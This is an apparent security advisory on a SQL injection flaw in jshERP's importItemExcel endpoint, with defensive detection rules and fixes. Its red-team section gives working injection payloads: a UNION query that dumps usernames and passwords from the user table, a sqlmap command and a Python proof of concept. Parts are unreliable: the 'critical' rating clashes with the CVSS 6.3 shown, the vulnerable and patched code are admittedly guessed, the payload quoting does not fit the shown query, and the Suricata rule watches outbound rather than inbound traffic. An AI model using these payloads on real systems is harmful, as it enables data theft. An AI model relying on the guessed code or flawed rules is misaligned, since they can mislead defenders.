CVE-2026-1546

Executive Summary

CVE-2026-1546 is a critical SQL injection vulnerability discovered in jishenghua jshERP, an open-source enterprise resource planning system. The flaw resides in the getBillItemByParam function within the file /jshERP-boot/depotItem/importItemExcel, specifically in the DepotItemMapperEx component. By manipulating the barCodes argument, an unauthenticated remote attacker can inject arbitrary SQL commands, leading to unauthorized data access, modification, or potential system compromise. The vulnerability affects all versions up to and including 3.6. A public proof-of-concept (PoC) exploit is available, increasing the risk of active exploitation. The vendor has been notified but has not yet released a patch.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the jshERP Java application. Organizations using jshERP should treat this as a critical supply chain risk due to the lack of vendor response and the public availability of exploit details.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High. Despite the medium CVSS score, the public availability of exploit code and the lack of a vendor patch elevate the real-world risk. An attacker can exploit this without authentication, making it a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the DepotItemMapperEx component. The function getBillItemByParam is used to import item data from an Excel file. The barCodes parameter is directly concatenated into a SQL query without proper sanitization or parameterization.

Root Cause: The application uses MyBatis or a similar ORM framework, but the barCodes parameter is likely passed directly into a dynamic SQL statement using string concatenation (e.g., WHERE bar_code IN (${barCodes})) instead of using a parameterized query (e.g., WHERE bar_code IN (#{barCodes})). This allows an attacker to break out of the intended SQL syntax and inject arbitrary commands.

Attack Vector: The attacker sends a crafted HTTP request to the vulnerable endpoint, typically a POST request to /jshERP-boot/depotItem/importItemExcel with a malicious barCodes parameter. The injection point is within an IN clause, making it possible to use a payload like 1' OR '1'='1 to dump the entire table or 1' UNION SELECT ... to extract data from other tables.

Impact: Successful exploitation can lead to:

• Unauthorized access to sensitive data (user credentials, financial records, inventory data).
• Data manipulation or deletion.
• Potential escalation to remote code execution if the database server has file write permissions or if the attacker can leverage xp_cmdshell (on SQL Server) or similar features.

Vulnerable vs. Patched Code

Vulnerable Code (jshERP <= 3.6):

// In DepotItemMapperEx.java
@Select("SELECT * FROM depot_item WHERE bar_code IN (${barCodes})")
List<DepotItem> getBillItemByParam(@Param("barCodes") String barCodes);

Patched Code (Hypothetical Fix):

// In DepotItemMapperEx.java
@Select("SELECT * FROM depot_item WHERE bar_code IN (#{barCodes})")
List<DepotItem> getBillItemByParam(@Param("barCodes") String barCodes);

Note: The above fix assumes the barCodes parameter is a single value. If multiple values are expected, the application should use a collection parameter and MyBatis's foreach construct.

Alternative Fix (Input Validation):

// In the controller or service layer
public List<DepotItem> getBillItemByParam(String barCodes) {
    // Validate that barCodes only contains expected characters (alphanumeric, commas, hyphens)
    if (!barCodes.matches("[a-zA-Z0-9,\\-]+")) {
        throw new IllegalArgumentException("Invalid barCodes parameter");
    }
    // Proceed with the query
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of jshERP version 3.6 or earlier.
• Network access to the /jshERP-boot/depotItem/importItemExcel endpoint.

Exploit Steps:

1. Identify the vulnerable endpoint: Use a web proxy or curl to send a request to the import endpoint.
2. Craft the SQL injection payload: The barCodes parameter is vulnerable. A simple test payload:

   barCodes=1' OR '1'='1
   

   This should return all records from the depot_item table.
3. Extract data: Use a UNION-based injection to extract data from other tables. For example:

   barCodes=1' UNION SELECT username, password, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM jsh_user--
   

   (Adjust the number of NULLs to match the column count of the original query.)
4. Automate with SQLMap:

   sqlmap -u "http://target.com/jshERP-boot/depotItem/importItemExcel" --data="barCodes=1" --batch --dbs
   

Proof-of-Concept (PoC) Code:

import requests

target = "http://target.com/jshERP-boot/depotItem/importItemExcel"
payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10--"
data = {"barCodes": payload}
response = requests.post(target, data=data)
print(response.text)

Blue Team

Detection:

• Monitor HTTP POST requests to /jshERP-boot/depotItem/importItemExcel with unusual barCodes parameters.
• Look for SQL keywords (UNION, SELECT, OR, AND, --, #) in the barCodes parameter.
• Use a Web Application Firewall (WAF) to block common SQL injection patterns.

Hunting:

• Search web server logs for requests containing SQL injection patterns.
• Check database logs for unexpected queries or errors originating from the application user.

Containment:

• If exploitation is suspected, immediately block the source IP address.
• Isolate the affected server and review database logs for unauthorized data access.
• Apply a virtual patch using a WAF or reverse proxy to filter malicious input.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /jshERP-boot/depotItem/importItemExcel with barCodes parameter containing SQL keywords.
• Unusual response sizes or error messages containing SQL syntax errors.

File IOCs:

• Modified or new files in the jshERP installation directory (e.g., web shells).
• Unusual entries in application logs (e.g., jshERP.log).

System IOCs:

• Unexpected database connections from the application server.
• New user accounts or elevated privileges in the database.

Example Log Entry:

192.168.1.100 - - [10/Oct/2026:14:23:45 +0000] "POST /jshERP-boot/depotItem/importItemExcel HTTP/1.1" 200 5432 "http://target.com/" "Mozilla/5.0" "barCodes=1' UNION SELECT * FROM jsh_user--"

Detection Engineering

YARA Rule

rule CVE_2026_1546_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2026-1546 in jshERP"
        author = "Valters IT"
        date = "2026-10-10"
        reference = "CVE-2026-1546"
    strings:
        $s1 = "barCodes=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR" nocase
        $s5 = "1=1" nocase
        $s6 = "--" nocase
    condition:
        $s1 and (any of ($s2, $s3, $s4, $s5, $s6))
}

Sigma Rule

title: CVE-2026-1546 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against jshERP importItemExcel endpoint
author: Valters IT
date: 2026/10/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/jshERP-boot/depotItem/importItemExcel'
        cs-uri-query|contains|all:
            - 'barCodes='
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of UNION or SELECT in barcode values (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-1546 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/jshERP-boot/depotItem/importItemExcel";
    http_uri;
    content:"barCodes=";
    http_client_body;
    pcre:"/(UNION|SELECT|OR|AND|--)/Ri";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: If the import functionality is not critical, block access to /jshERP-boot/depotItem/importItemExcel at the web server or firewall level.
2. Apply a virtual patch: Use a WAF to block requests containing SQL injection patterns in the barCodes parameter.
3. Upgrade: Monitor the jshERP project for an official patch. If none is forthcoming, consider migrating to an alternative ERP solution.

Long-Term Fix:

1. Code Review: Replace all dynamic SQL queries with parameterized statements or prepared statements.
2. Input Validation: Implement strict input validation for all user-supplied parameters, especially those used in database queries.
3. Least Privilege: Ensure the database user used by the application has minimal privileges (e.g., only SELECT on necessary tables, no DDL or DML permissions).

Workaround:

• If you cannot immediately patch, modify the application code to use a whitelist of allowed characters for the barCodes parameter (e.g., only alphanumeric characters, commas, and hyphens).

Valters IT
Securing Your Digital Frontier